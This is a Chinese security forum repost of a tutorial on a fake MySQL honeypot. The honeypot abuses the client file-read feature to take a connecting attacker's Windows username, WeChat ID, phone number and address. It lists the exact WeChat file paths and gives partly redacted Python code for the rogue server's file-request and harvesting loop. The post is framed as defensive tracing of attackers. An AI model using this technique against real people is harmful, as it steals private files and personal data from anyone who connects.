安全矩阵

 找回密码
 立即注册
搜索
查看: 2590|回复: 0

通过蜜罐技术获取攻击者手机号、微信号

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-20 00:03:10 | 显示全部楼层 |阅读模式
原文链接:通过蜜罐技术获取攻击者手机号、微信号 (qq.com)



相关声明
以下内容仅限用于红蓝攻防对抗等专业领域,请勿用于非法用途。
杂谈
首先,我们先讲一下蜜罐的概念,你可以简单理解较为蜜罐就是一个陷阱,故意暴露一些我们人为设计好的漏洞,让攻击者自投罗网。
蜜罐介绍
蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,其没有业务上的用途,所有流入/流出蜜罐的流量都预示着扫描或者攻击行为,因此可以比较好的聚焦于攻击流量。
蜜罐可以实现对攻击者的主动诱捕,能够详细地记录攻击者攻击过程中的许多痕迹,可以收集到大量有价值的数据,如病毒或蠕虫的源码、黑客的操作等,从而便于提供丰富的溯源数据。另外蜜罐也可以消耗攻击者的时间,基于JSONP等方式来获取攻击者的画像。
但是蜜罐存在安全隐患,如果没有做好隔离,可能成为新的攻击源。

Fake Mysql
这里再提一下Fake Mysql的概念,通过伪装Mysql服务器,诱导攻击者来连接,利用漏洞来读取攻击者电脑的文件从而就有了下面的内容

蜜罐技术获取手机号、微信号、地址
那么如何通过这种技术获取攻击者的手机号和微信呢?
正常获取的思路我们先来讲一下读取手机号和微信ID的正常方法,分为以下三个步骤

           
  •         通过C:/Windows/PFRO.log获取windows用户名

           
  •         通过C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data获取wxid

           
  •         通过C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat获取地址、微信号、手机号

获取windows用户名
我们这里在自己的电脑中进行测试,打开C:/Windows/PFRO.log,可以看到我的用户名是66396




获取wxid
然后,我们访问C:/Users/66396/Documents/WeChat Files/All Users/config/config.data
这里可以获取到wxid

获取手机号、微信号、地址
可以看到手机号


还有地址、微信号都有


上面是黑客入侵后,查看电脑中的文件可以获取到的信息,那么如何设计一个蜜罐,让黑客在攻击时自投罗网,帮助我们防守方溯源到攻击者的信息呢?
核心代码如何把上述过程进行自动化呢?我们可以看下核心代码
下面的代码主要有两个作用
1.判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
2.如果是直接连接,去读取设定好的文件,并写入本地保存。


  1. def mysql_get_file_content(filename,conn,address):
  2.     logpath = os.path.abspath('.') + "/log/" + address[0]
  3.     if not os.path.exists(logpath):
  4.         os.makedirs(logpath)
  5.     conn.sendall("xxx")
  6.     try:
  7.         conn.recv(1024000)
  8.     except Exception as e:
  9.         print(e)

  10.     try:
  11.         conn.sendall("xx")
  12.         res1 = conn.recv(1024000)
  13.         # SHOW VARIABLES
  14.         if 'SHOW VARIABLES' in res1:
  15.             conn.sendall("xxx")
  16.             res2 = conn.recv(9999)
  17.             if 'SHOW WARNINGS' in res2:
  18.                 conn.sendall("xxx")
  19.                 res3 = conn.recv(9999)
  20.                 if 'SHOW COLLATION' in res3:
  21.                     conn.sendall("xxx")
  22.                     res4 = conn.recv(9999)
  23.                     if 'SET NAMES utf8' in res4:
  24.                         conn.sendall("xxx")
  25.                         res5 = conn.recv(9999)
  26.                         if 'SET character_set_results=NULL' in res5:
  27.                             conn.sendall("xxx")
  28.                             conn.close()
  29.                     else:
  30.                         conn.close()
  31.                 else:
  32.                     conn.close()
  33.             else:
  34.                 conn.close()
  35.         else:
  36.             try:
  37.                 wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
  38.                 conn.sendall(wantfile)
  39.                 content=''
  40.                 while True:
  41.                     data = conn.recv(1024)
  42.                     print len(data)
  43.                     content += data
  44.                     if len(data) < 1024:
  45.                         print 'ok'
  46.                         break
  47.                     
  48.                 conn.close()
  49.                 item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
  50.                 if len(content) > 6:
  51.                     with open(item, "w") as f:
  52.                         f.write(content)
  53.                         f.close()
  54.                     return (True,content)
  55.                 else:
  56.                     return (False,content)
  57.             except Exception as e:
  58.                 print (e)
  59.     except Exception as e:
  60.         print (e)
复制代码
  
为了防止读取文件内容不完整,可以加入while循环。
  1. while True:
  2.         conn, address = sv.accept()
  3.         first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  4.         global files1
  5.         global username
  6.         global wx_id
  7.         file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
  8.         res,content = mysql_get_file_content(file,conn,address)
  9.         files1.append(files1[0])
  10.         files1.remove(files1[0])
  11.         if res:
  12.             if 'PFRO' in file:
  13.                 username = get_username(content)
  14.                 s= "xx" % (xx)
  15.                 cursor.execute(s)
  16.                 data = cursor.fetchall()
  17.                 if len(data)==0:
  18.                     s = "XX" % (xx)
  19.                     cursor.execute(s)
  20.                     db.commit()
  21.                     print 'success:'+ file
  22.                     insert_file(file,address,username)
  23.             elif 'config.data'in file:
  24.                 content = content
  25.                 wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
  26.                 sql = "xxx" % (xxx)
  27.                 cursor.execute(sql)
  28.                 db.commit()
  29.                 wx_id=wxid
  30.                 img = qrcode.make('weixin://contacts/profile/'+wxid)
  31.                 img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')
  32.                 print 'success:'+ file
  33.                 insert_file(file,address,username)
  34.             elif 'AccInfo' in file:
  35.                 content = content
  36.                 phone = re.findall(r'[0-9]{11}', content)[-1]
  37.                 sql = "xxx" % (xxx)
  38.                 cursor.execute(sql)
  39.                 db.commit()
  40.                 print 'success:'+ file
  41.                 insert_file(file,address,username)
  42.         else:
  43.             files1=files
  44.             username='Administrator'
复制代码
工具下载:
            公众号回复:蜜罐
当然,热心网友们最关心的还是工具效果展示,我们可以进行测试
我们需要先将工具下载下来传入服务器


然后修改webServer.py中admin的密码,当然,你也可以更换用户名,这个根据个人习惯来修改。


然后通过docker启用服务
然后运行本项目
  1. docker-compose up -d
复制代码


使用方法攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。
攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址


并可以在5000端口访问后台,输入我们刚才设置的admin以及密码fancypig
然后就可以看到攻击者信息了!

内容来源:https://www.iculture.cc/knowledge/pig=10727

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 15:16 , Processed in 0.016536 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表